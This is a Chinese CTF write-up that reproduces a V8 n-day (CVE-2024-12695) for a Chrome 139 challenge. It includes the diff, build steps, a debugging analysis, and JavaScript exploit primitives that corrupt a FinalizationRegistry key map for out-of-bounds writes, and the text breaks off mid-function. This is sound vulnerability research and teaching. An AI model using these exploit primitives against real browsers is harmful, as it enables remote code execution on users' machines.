-
-
[原创] 强网杯S9 Real World - monotint
-
发表于: 2025-12-9 23:53 2142
-
本次强网杯线下和0x300R的师傅们一起打了,其他师傅都太强啦。但最后一天的时间很短,我们最后demo的4题,基本都因为环境问题,没有成功,其中就包括了我这里demo 的monotint,一道浏览器的nday复现
第一个坑是关于v8沙箱的问题。这道题目的chrome版本是139.0.7258.128,启动参数—no-sandbox,意味着render rce之后就可以任意代码执行。但是正常情况下v8沙箱在这个版本下是默认开启的,所以我本地编译了一个开启v8沙箱的chrome,在这个基础上进行利用,但是后来发现其实题目是没有编译v8的沙箱的,所以那一段沙箱逃逸的逻辑根本没有使用到,耽误了很久的时间……(以后还是直接上去测题目给的虚拟机
第二个坑是最后弹计算器的问题。公告和题目的信息是分开的,因此没有注意到,公告中提到了为了降低演示的难度,可以自选方法进行验证rce。所以最后花了一段时间去解决弹计算器的问题,其实只需要xauth给个权限可以了,这里需要感谢组里的两位大哥@leommxj和@m4x,帮助我解决了弹计算器的问题
第三个坑是cpu保护的问题。公告中提到了现场演示机器的cpu是intel 14gen,不过我确实没有忘pku内存保护的方向去想,所以最后的利用部分造成了问题。绕过方式也很简单,jit spray或者写一个wasm函数绕过就行
题目除了下发了一个虚拟机之外,虚拟机里还有一个启动脚本和一段diff
所以查看了下启动参数,发现没有沙箱,所以只需要考虑render rce,那么主要需要思考的是v8侧的利用
接着查看版本信息,chrome版本是139.0.7258.128,v8版本是13.9.205.19

看到了v8的版本不算新,因此看了下commit hash,8月4号的提交,那么之前p0的Big sleep挖出来的CVE-2025-9132是可以直接打的,但是我没准备 :(
由于笔者并没有提前准备1day(科恩的师傅应该是有的,所以最后也只有他们demo成功了,太强了),所以我只能看题目准备了什么diff

diff信息,但是看着就觉得很眼熟,之前似乎在issue tracker上看到过,于是关键词搜索,就发现了issue tracker上公开的报告,接着就搜索到了公开的blog分析和完整的脚本,编号是CVE-2024-12695
对于正常的render rce流程还需要一个v8的沙箱逃逸,因为是默认开启的,所以笔者接下来做了两件事情
在比赛的当天下午6 7点钟这样,已经完成了第一个部分,但是此时笔者并不知道题目下发的虚拟机其实是没有的,因此后面花了大部分时间在v8的沙箱逃逸上……
搭chrome的环境
编译参数
搭d8的环境
编译参数
调试chrome的时候如果需要使用d8的调试函数,需要加上--js-flags="--allow-natives-syntax",由于个人习惯,我还会加上--auto-open-devtools-for-tabs,这样会自动打开devtools
这个nday详细的分析,我觉得看别人已经公开的就好,我这里根据自己的理解,大致再分析了一下
从删去的部分不难理解,这里删去的部分其实是对于properties字段的检查,检查这个字段是否是smi,如果是smi则跳转到slow_path执行后续逻辑;如果不是smi则进入fast_path。
注意到CSA_DCHECK,意思是当前字段如果不是smi,那么必须是一个EmptyFixedArray。被删去之后,言下之意就是说这个字段可以为smi,也可以为FixedArray(object)
所以这个检查的含义可以总结为,删去了对于对象properties字段类型的检查,不再检查properties是否为smi或者对象,无论properties字段为smi或者对象都执行同一个fast_path的流程。此时我们具备了改变对象properties字段的能力
而这个逻辑位于一个builtin方法TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)中,所以我们现在知道Object.assign这个方法存在漏洞
可以通过这个代码演示一下
当注册完gc监控对象target之后,unregister_token 产生了hash字段。接着通过Object.assign的快速路径,使得unregister_token的hash字段被破坏,这个被破坏成了一个FixedArray

需要解释一下FinalizationRegistry的使用方法
上方的register方法是监控了target对象,当target被gc回收时,会执行自定义的回调函数。上方的第三个参数是注册的token,后续调用了Object.assign破坏了hash字段
调试代码如下
这里的diff很简洁,将强制CHECK换成了DCHECK,这个函数JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap由上方提到的unregister调用,意味着执行registry.unregister时不再对entry进行检查
所以对于的hash值不存在于key_map的情况,entry的值为-1。又由于换成了DCHECK,就会绕过entry.is_found()的检查
接着如果当前的weak_cell prev指针为undefined,则会进入到下方的if循环时,会执行key_map->ClearEntry(-1)
继续跟踪调用,首先进入下方的模板函数
接着进入SetEntry,从上方的传递值可以发现key和value都是the_hole,也就是0x7d9
index的转化逻辑调用了如下函数,如果说一开始的entry是-1,也就是没找到对应的hash值,那么则会计算出index=1
接着通过调试验证,同时可以得到Derived::kEntryKeyIndex = 0; Derived::kEntryValueIndex=1;所以这里会将this,也就是key_map index为1和2处都设置为the_hole(0x7d9)

我们需要观察一下key_map的结构,可以看到这里是由FixedArray申请出来的,但是map是SIMPLE_NUMBER_DICTIONARY_TYPE,所以我们找一下这个map类型的定义

这里说明对于header来说没有多余的size,每一个Entry是2项。
header位于v8/src/objects/hash-table.h中,slot[0] = kNumberOfElementsIndex,slot[1] = kNumberOfDeletedElementsIndex,slot[2]=kCapacityIndex
Entry定义了value在index为1处,那么0处就是key
这里涉及到的对象继承关系

对应到上方的调试结果就是
上方的0x001313d2也就是hash值<<1的内存中的表示,后面紧跟着的是WeakCell
接着经过ClearEntry之后,可以发现

完整的如下,可以发现容量变成了0x000007d9,所以此时产生了一个越界的SimpleNumberDictionary
上方其实已经得到一个可以越界的SimpleNumberDictionary,那么现在就需要思考如何将这个不稳定的越界转化成稳定的越界读写
首先来看这样一段函数
下断点之后会发现执行了这个函数JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken
接着来调试一下这一段代码,首先这里的weak_cell是新生成的,然后finalization_registry是代码中的registry

此时的unregister_token还只是一个普通对象,没有生成hash值

由于此时的并没有生成表项,所以entry.is_found()过不了,因此第一次register不会执行到if的逻辑
使用同样的对象进行第二次register,可以看到我们之前unregister_token已经生成了hash值,并被保存到了key_map中

没有执行if中的逻辑前,可以看到两个weakcell的list prev/next都是undefined状态

由于这一次是使用了同样的对象,这个表现会被说索引到,所以这里分别设置了weakcell的list prev/next

进一步在内存里查看,对于第一次申请的weakcell对象,在偏移0x1c的位置,写上了第二次申请的weakcell对象的地址

第二次申请的weakcell对象,在偏移0x20的位置,写上了第一次申请的weakcell对象的地址

还需要提一嘴的是Weakcell在active_cells中的组织形式是LIFO,从job的输出也可以看出来,新添加的Weakcell对象采用头插法插入到list头部,所以他的prev为undefined,next为旧的Weakcell,同时旧的Weakcell的prev为新的Weakcell,next为undefined
从上面的方式可以看出如果我们提前知道了key_map中的某一表项的hash值,就可以在对应的weakcell的固定偏移处写入一个的值,而如果我们可控weakcell的值,就可以在我们控制的值基础上进行任意写,也就是 *((&weakcell)+0x1c/0x20)= obj_val,可以知道这个obj_val是一个weakcell的值,默认为很大的值,可以用这个大值去破坏对象的length字段,实现稳定越界读写的效果
截止到目前我们需要实现上面的思路,同时需要保持利用的稳定性
如果qwb线下做过这个利用的师傅应该知道,上面除了第一步以外,其他步骤都有点麻烦
这部分代码很简单,删去了回调函数的部分代码,后面完整的利用会有
这里先利用了patch的漏洞实现了key_map的越界,但是其中我还是布置了一些对象。
在key_map之后,布置了victim_arr,其中初始化了0x1000个kv表项,接着我又构造了一个arr来存储一些hash表项,这两个步骤都是为后续利用提前做的准备
同时为了布局的稳定,我在每一个重要对象后面都执行了一个major_gc,最后一次gc是为了触发漏洞
这个步骤是预测key_map里的hash值,完整函数如下
如果这个函数执行完毕,那么我们得到了一个可复用的kv表项,如果对于这个kv表项进行register,那么就可以这样 *((&weakcell)+0x1c/0x20)= obj_val,向可控的相对地址写入一个 WeakCell 指针
通过上方获取到的可以hash对象进行进一步的利用,这里是核心逻辑的代码
上面已经是构造出来了一个越界读写的oob_arr
由于此时布局的稳定性还算不错,后续申请的几个对象与target_arr之间的距离是固定的,所以能否准确定位到target_arr是很重要的,他直接影响了后续的原语构造
所以我采用了扫描匹配 target_arr 内容的方式,匹配到target_arr之后,我们可以gdb调试,字节计算出 target_arr 对象本身以及后续 obj_arr 等对象的精确偏移,利用这个偏移,我们通过 oob_arr 修改后续对象的内容,从而实现利用原语的构造。
这里需要单独讨论一下如何弹出计算器。
当时现场机器cpu是intel14 gen,在linux平台上有一个pku保护,所以我当时在执行shellcode的时候挂了。解决也很简单,使用jit spray或者wasm函数,我这里为了更加稳定使用了wasm函数。wasm中定义了一些汇编,然后通过传入两个i64的值,来执行execve,然后我每次只需要修改稳定cmd_ptr即可

接着需要解释为什么执行这样命令,这个lll是我自己使用的机器,我使用了vnc。最重要的步骤是export XAUTHORITY=/home/lll/.Xauthority,这个可以避免环境问题导致的 X11 认证失败,后面跟着的export DISPLAY=:100;是我自己vnc开放的端口,自己的机器只用了d8,没放到chrome里

对于下发的虚拟机,采用了动态查找授权文件的方式,后续的步骤和之前一样

移植到chrome里主要需要解决的问题是遍历oob_arr的问题,我这里起始地址设置到了0x1a0000,最后就可以弹出计算器了

/opt/chromium.org/chromium/chromium-browser --no-sandbox/opt/chromium.org/chromium/chromium-browser --no-sandboxdiff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.ccindex b0aeb178..161d9bdf 100644--- a/v8/src/builtins/builtins-object-gen.cc+++ b/v8/src/builtins/builtins-object-gen.cc@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path);- // Ensure the properties field is not used to store a hash.- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);- GotoIf(TaggedIsSmi(properties), &slow_path);- CSA_DCHECK(this,- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),- IsPropertyArray(CAST(properties))));- Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred); // Check if our particular source->target combination is fast clonable.diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.ccindex f125cc63..d6d0e36b 100644--- a/v8/src/objects/js-weak-refs.cc+++ b/v8/src/objects/js-weak-refs.cc@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key);- CHECK(entry.is_found());+ DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the keydiff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.ccindex b0aeb178..161d9bdf 100644--- a/v8/src/builtins/builtins-object-gen.cc+++ b/v8/src/builtins/builtins-object-gen.cc@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path);- // Ensure the properties field is not used to store a hash.- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);- GotoIf(TaggedIsSmi(properties), &slow_path);- CSA_DCHECK(this,- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),- IsPropertyArray(CAST(properties))));- Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred); // Check if our particular source->target combination is fast clonable.diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.ccindex f125cc63..d6d0e36b 100644--- a/v8/src/objects/js-weak-refs.cc+++ b/v8/src/objects/js-weak-refs.cc@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key);- CHECK(entry.is_found());+ DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the keygit checkout 139.0.7258.128gclient sync -Dcd v8patch -p1 < ./patchcd ../gn gen out/x64.releaseninja -C out/x64.release -j 22 chromegit checkout 139.0.7258.128gclient sync -Dcd v8patch -p1 < ./patchcd ../gn gen out/x64.releaseninja -C out/x64.release -j 22 chromeis_component_build = falseis_debug = falsesymbol_level = 2blink_symbol_level = 2v8_symbol_level = 2dcheck_always_on = falseis_official_build = falsechrome_pgo_phase = 0v8_enable_sandbox = falsev8_enable_pointer_compression = trueis_component_build = falseis_debug = falsesymbol_level = 2blink_symbol_level = 2v8_symbol_level = 2dcheck_always_on = falseis_official_build = falsechrome_pgo_phase = 0v8_enable_sandbox = falsev8_enable_pointer_compression = truegn gen out/x64.release_v8ninja -C out/x64.release_v8 -j 22 d8gn gen out/x64.release_v8ninja -C out/x64.release_v8 -j 22 d8is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = truedcheck_always_on = falsesymbol_level = 2is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truev8_enable_verify_heap = truedcheck_always_on = falsesymbol_level = 2diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.ccindex b0aeb178..161d9bdf 100644--- a/v8/src/builtins/builtins-object-gen.cc+++ b/v8/src/builtins/builtins-object-gen.cc@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path);- // Ensure the properties field is not used to store a hash.- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);- GotoIf(TaggedIsSmi(properties), &slow_path);- CSA_DCHECK(this,- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),- IsPropertyArray(CAST(properties))));- Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.ccindex b0aeb178..161d9bdf 100644--- a/v8/src/builtins/builtins-object-gen.cc+++ b/v8/src/builtins/builtins-object-gen.cc@@ -511,13 +511,6 @@ TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) { GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()), &slow_path);- // Ensure the properties field is not used to store a hash.- TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);- GotoIf(TaggedIsSmi(properties), &slow_path);- CSA_DCHECK(this,- Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),- IsPropertyArray(CAST(properties))));- Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});registry.register(target, undefined, unregister_token);%DebugPrint(unregister_token);%SystemBreak();Object.assign(unregister_token, {});Object.assign(unregister_token, {});%DebugPrint(unregister_token);%SystemBreak();let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});registry.register(target, undefined, unregister_token);%DebugPrint(unregister_token);%SystemBreak();Object.assign(unregister_token, {});Object.assign(unregister_token, {});%DebugPrint(unregister_token);%SystemBreak();let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});registry.register(target, undefined, unregister_token);Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;gc({ type: "major" });%DebugPrint(registry);let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});registry.register(target, undefined, unregister_token);Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;gc({ type: "major" });%DebugPrint(registry);diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.ccindex f125cc63..d6d0e36b 100644--- a/v8/src/objects/js-weak-refs.cc+++ b/v8/src/objects/js-weak-refs.cc@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key);- CHECK(entry.is_found());+ DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the keydiff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.ccindex f125cc63..d6d0e36b 100644--- a/v8/src/objects/js-weak-refs.cc+++ b/v8/src/objects/js-weak-refs.cc@@ -103,7 +103,7 @@ void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key);- CHECK(entry.is_found());+ DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the keyvoid JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Isolate* isolate, Tagged<WeakCell> weak_cell) { DisallowGarbageCollection no_gc; DCHECK(!IsUndefined(weak_cell->unregister_token(), isolate)); Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value(); if (IsUndefined(weak_cell->key_list_prev(), isolate)) { Tagged<SimpleNumberDictionary> key_map = Cast<SimpleNumberDictionary>(this->key_map()); Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key); DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the key // from the hash table. key_map->ClearEntry(entry); key_map->ElementRemoved(); } else {……………………}void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap( Isolate* isolate, Tagged<WeakCell> weak_cell) { DisallowGarbageCollection no_gc; DCHECK(!IsUndefined(weak_cell->unregister_token(), isolate)); Tagged<Undefined> undefined = ReadOnlyRoots(isolate).undefined_value(); if (IsUndefined(weak_cell->key_list_prev(), isolate)) { Tagged<SimpleNumberDictionary> key_map = Cast<SimpleNumberDictionary>(this->key_map()); Tagged<HeapObject> unregister_token = weak_cell->unregister_token(); uint32_t key = Smi::ToInt(Object::GetHash(unregister_token)); InternalIndex entry = key_map->FindEntry(isolate, key); DCHECK(entry.is_found()); if (IsUndefined(weak_cell->key_list_next(), isolate)) { // weak_cell is the only one associated with its key; remove the key // from the hash table. key_map->ClearEntry(entry); key_map->ElementRemoved(); } else {……………………}template <typename Derived, typename Shape>void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) { Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value(); PropertyDetails details = PropertyDetails::Empty(); Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);}template <typename Derived, typename Shape>void Dictionary<Derived, Shape>::ClearEntry(InternalIndex entry) { Tagged<Object> the_hole = GetReadOnlyRoots().the_hole_value(); PropertyDetails details = PropertyDetails::Empty(); Cast<Derived>(this)->SetEntry(entry, the_hole, the_hole, details);}template <typename Derived, typename Shape>void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry, Tagged<Object> key, Tagged<Object> value, PropertyDetails details) { DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3); DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails); int index = DerivedHashTable::EntryToIndex(entry); DisallowGarbageCollection no_gc; WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc); this->set(index + Derived::kEntryKeyIndex, key, mode); this->set(index + Derived::kEntryValueIndex, value, mode); if (Shape::kHasDetails) DetailsAtPut(entry, details);}template <typename Derived, typename Shape>void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry, Tagged<Object> key, Tagged<Object> value, PropertyDetails details) { DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3); DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails); int index = DerivedHashTable::EntryToIndex(entry); DisallowGarbageCollection no_gc; WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc); this->set(index + Derived::kEntryKeyIndex, key, mode); this->set(index + Derived::kEntryValueIndex, value, mode); if (Shape::kHasDetails) DetailsAtPut(entry, details);}// Returns the index for an entry (of the key)static constexpr inline int EntryToIndex(InternalIndex entry) { return (entry.as_int() * kEntrySize) + kElementsStartIndex;}//static const int kEntrySize = 2;//static const int kPrefixSize = 0;//static const int kPrefixStartIndex = 3;//static const int kElementsStartIndex = kPrefixStartIndex + TodoShape::kPrefixSize;//return (-1*2)+3+0// Returns the index for an entry (of the key)static constexpr inline int EntryToIndex(InternalIndex entry) { return (entry.as_int() * kEntrySize) + kElementsStartIndex;}//static const int kEntrySize = 2;//static const int kPrefixSize = 0;//static const int kPrefixStartIndex = 3;//static const int kElementsStartIndex = kPrefixStartIndex + TodoShape::kPrefixSize;//return (-1*2)+3+0class SimpleNumberDictionaryShape : public NumberDictionaryBaseShape { public: static const bool kHasDetails = false; static const int kPrefixSize = 0; static const int kEntrySize = 2;……………………};class SimpleNumberDictionaryShape : public NumberDictionaryBaseShape { public: static const bool kHasDetails = false; static const int kPrefixSize = 0; static const int kEntrySize = 2;……………………};class V8_EXPORT_PRIVATE HashTableBase : public NON_EXPORTED_BASE(FixedArray) { public: …………………… static const int kNumberOfElementsIndex = 0; static const int kNumberOfDeletedElementsIndex = 1; static const int kCapacityIndex = 2; static const int kPrefixStartIndex = 3;class V8_EXPORT_PRIVATE HashTableBase : public NON_EXPORTED_BASE(FixedArray) { public: …………………… static const int kNumberOfElementsIndex = 0; static const int kNumberOfDeletedElementsIndex = 1; static const int kCapacityIndex = 2; static const int kPrefixStartIndex = 3;// SimpleNumberDictionary is used to map number to an entry.class SimpleNumberDictionary : public Dictionary<SimpleNumberDictionary, SimpleNumberDictionaryShape> { public: static inline DirectHandle<Map> GetMap(RootsTable& roots); // Type specific at put (default NONE attributes is used when adding). V8_EXPORT_PRIVATE V8_WARN_UNUSED_RESULT static Handle<SimpleNumberDictionary> Set(Isolate* isolate, Handle<SimpleNumberDictionary> dictionary, uint32_t key, DirectHandle<Object> value); static const int kEntryValueIndex = 1;};// SimpleNumberDictionary is used to map number to an entry.class SimpleNumberDictionary : public Dictionary<SimpleNumberDictionary, SimpleNumberDictionaryShape> { public: static inline DirectHandle<Map> GetMap(RootsTable& roots); // Type specific at put (default NONE attributes is used when adding). V8_EXPORT_PRIVATE V8_WARN_UNUSED_RESULT static Handle<SimpleNumberDictionary> Set(Isolate* isolate, Handle<SimpleNumberDictionary> dictionary, uint32_t key, DirectHandle<Object> value); static const int kEntryValueIndex = 1;};0x3171003c002c: 0x00001c55 -> map0x3171003c0030: 0x00000016 -> length0x3171003c0034: 0x00000002 -> Elements0x3171003c0038: 0x00000000 -> DeletedElements0x3171003c003c: 0x00000008 -> Capacity0x3171003c0040: 0x00000011 -> Entry 0 Key0x3171003c0044: 0x00000011 -> Entry 0 Val0x3171003c0048: 0x001313d2 -> Entry 1 Key0x3171003c004c: 0x0005d9e1 -> Entry 1 Val0x3171003c002c: 0x00001c55 -> map0x3171003c0030: 0x00000016 -> length0x3171003c0034: 0x00000002 -> Elements0x3171003c0038: 0x00000000 -> DeletedElements0x3171003c003c: 0x00000008 -> Capacity0x3171003c0040: 0x00000011 -> Entry 0 Key0x3171003c0044: 0x00000011 -> Entry 0 Val0x3171003c0048: 0x001313d2 -> Entry 1 Key0x3171003c004c: 0x0005d9e1 -> Entry 1 Val0x3171003c002c: 0x00001c55 -> map0x3171003c0030: 0x00000016 -> length0x3171003c0034: 0x00000002 -> Elements0x3171003c0038: 0x000007d9 -> DeletedElements0x3171003c003c: 0x000007d9 -> Capacity0x3171003c0040: 0x00000011 -> Entry 0 Key0x3171003c0044: 0x00000011 -> Entry 0 Val0x3171003c0048: 0x001313d2 -> Entry 1 Key0x3171003c004c: 0x0005d9e1 -> Entry 1 Val0x3171003c002c: 0x00001c55 -> map0x3171003c0030: 0x00000016 -> length0x3171003c0034: 0x00000002 -> Elements0x3171003c0038: 0x000007d9 -> DeletedElements0x3171003c003c: 0x000007d9 -> Capacity0x3171003c0040: 0x00000011 -> Entry 0 Key0x3171003c0044: 0x00000011 -> Entry 0 Val0x3171003c0048: 0x001313d2 -> Entry 1 Key0x3171003c004c: 0x0005d9e1 -> Entry 1 Vallet target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});%DebugPrint(registry);registry.register(target, undefined, unregister_token);registry.register(target, undefined, unregister_token);let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { print("Callback called");});%DebugPrint(registry);registry.register(target, undefined, unregister_token);registry.register(target, undefined, unregister_token);void JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken( DirectHandle<JSFinalizationRegistry> finalization_registry, DirectHandle<WeakCell> weak_cell, Isolate* isolate) { Handle<SimpleNumberDictionary> key_map; if (IsUndefined(finalization_registry->key_map(), isolate)) { key_map = SimpleNumberDictionary::New(isolate, 1); } else { key_map = handle(Cast<SimpleNumberDictionary>(finalization_registry->key_map()), isolate); } // Unregister tokens are held weakly as objects are often their own // unregister token. To avoid using an ephemeron map, the map for token // lookup is keyed on the token's identity hash instead of the token itself. uint32_t key = Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value(); InternalIndex entry = key_map->FindEntry(isolate, key); if (entry.is_found()) { Tagged<Object> value = key_map->ValueAt(entry); Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value); existing_weak_cell->set_key_list_prev(*weak_cell); weak_cell->set_key_list_next(existing_weak_cell); } key_map = SimpleNumberDictionary::Set(isolate, key_map, key, weak_cell); finalization_registry->set_key_map(*key_map);}void JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken( DirectHandle<JSFinalizationRegistry> finalization_registry, DirectHandle<WeakCell> weak_cell, Isolate* isolate) { Handle<SimpleNumberDictionary> key_map; if (IsUndefined(finalization_registry->key_map(), isolate)) { key_map = SimpleNumberDictionary::New(isolate, 1); } else { key_map = handle(Cast<SimpleNumberDictionary>(finalization_registry->key_map()), isolate); } // Unregister tokens are held weakly as objects are often their own // unregister token. To avoid using an ephemeron map, the map for token // lookup is keyed on the token's identity hash instead of the token itself. uint32_t key = Object::GetOrCreateHash(weak_cell->unregister_token(), isolate).value(); InternalIndex entry = key_map->FindEntry(isolate, key); if (entry.is_found()) { Tagged<Object> value = key_map->ValueAt(entry); Tagged<WeakCell> existing_weak_cell = Cast<WeakCell>(value); existing_weak_cell->set_key_list_prev(*weak_cell); weak_cell->set_key_list_next(existing_weak_cell); } key_map = SimpleNumberDictionary::Set(isolate, key_map, key, weak_cell); finalization_registry->set_key_map(*key_map);}let undefined_value = 0x11;let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { console.log("[*] Callback in"); console.log("[*] Callback out"); });registry.register(target, undefined, unregister_token);major_gc();let victim_arr = [];for (let i = 0; i < 0x1000; i++) { victim_arr.push(build_kv(undefined_value, undefined_value));}major_gc();let arr_with_hash_object = construct_hash_object();Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;major_gc();let undefined_value = 0x11;let target = {};let unregister_token = {};let registry = new FinalizationRegistry(() => { console.log("[*] Callback in"); console.log("[*] Callback out"); });registry.register(target, undefined, unregister_token);major_gc();let victim_arr = [];for (let i = 0; i < 0x1000; i++) { victim_arr.push(build_kv(undefined_value, undefined_value));}major_gc();let arr_with_hash_object = construct_hash_object();Object.assign(unregister_token, {});Object.assign(unregister_token, {});target = null;major_gc();function build_kv(key, value) { return lh_u32_to_f64(key << 1, value);}function init_arr(arr, val){ for (let i = 0; i < arr.length; i++) { arr[i] = val; }}function construct_hash_object(){ let length = 10000; let arr = new Array(length); let weak_map = new WeakMap(); for (let i = 0; i < length; i++) { arr[i] = {}; weak_map.set(arr[i], 0); } return arr;}function build_kv(key, value) { return lh_u32_to_f64(key << 1, value);}function init_arr(arr, val){ for (let i = 0; i < arr.length; i++) { arr[i] = val; }}function construct_hash_object(){ let length = 10000; let arr = new Array(length); let weak_map = new WeakMap(); for (let i = 0; i < length; i++) { arr[i] = {}; weak_map.set(arr[i], 0); } return arr;}function major_gc() { let x = []; x.push(new ArrayBuffer(1e9)); x.push(new ArrayBuffer(1e9)); x = null;}function major_gc() { let x = []; x.push(new ArrayBuffer(1e9)); x.push(new ArrayBuffer(1e9)); x = null;}function corrupt_obj_get_hash(){ console.log("[*] Corrupt obj get in"); let corrupt_vic_idx = -1; let corrupt_obj_idx = -1; let corrupt_obj_hash = -1; // HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF for (let current_hash = 1; current_hash < 0x100000; current_hash++) { let fake_kv = build_kv(current_hash, undefined_value); init_arr(victim_arr, fake_kv); // p(unregister_token); // p(registry); // p(victim_arr); // p(arr_with_hash_object); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); } corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv); if (corrupt_vic_idx == -1){ continue; } // p(victim_arr); init_arr(victim_arr, fake_kv); for (let i = 0; i < arr_with_hash_object.length; i++){ registry.unregister(arr_with_hash_object[i]); for (let j = 0; j < victim_arr.length; j++){ if (victim_arr[j] != fake_kv){ corrupt_obj_idx = i; corrupt_obj_hash = current_hash; %DebugPrint(victim_arr); logg("corrupt_obj_idx",corrupt_obj_idx); logg("corrupt_obj_hash",corrupt_obj_hash); %SystemBreak(); break; } } if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){ break; } } if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){ break; } // console.log("[+] Found at hash: 0x" + current_hash.toString(16)); } // p(arr_with_hash_object); console.log("[+] Corrupt vic idx: " + corrupt_vic_idx); console.log("[+] Corrupt obj idx: " + corrupt_obj_idx); console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16)); console.log("[*] Corrupt obj get out"); return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash];}function corrupt_obj_get_hash(){ 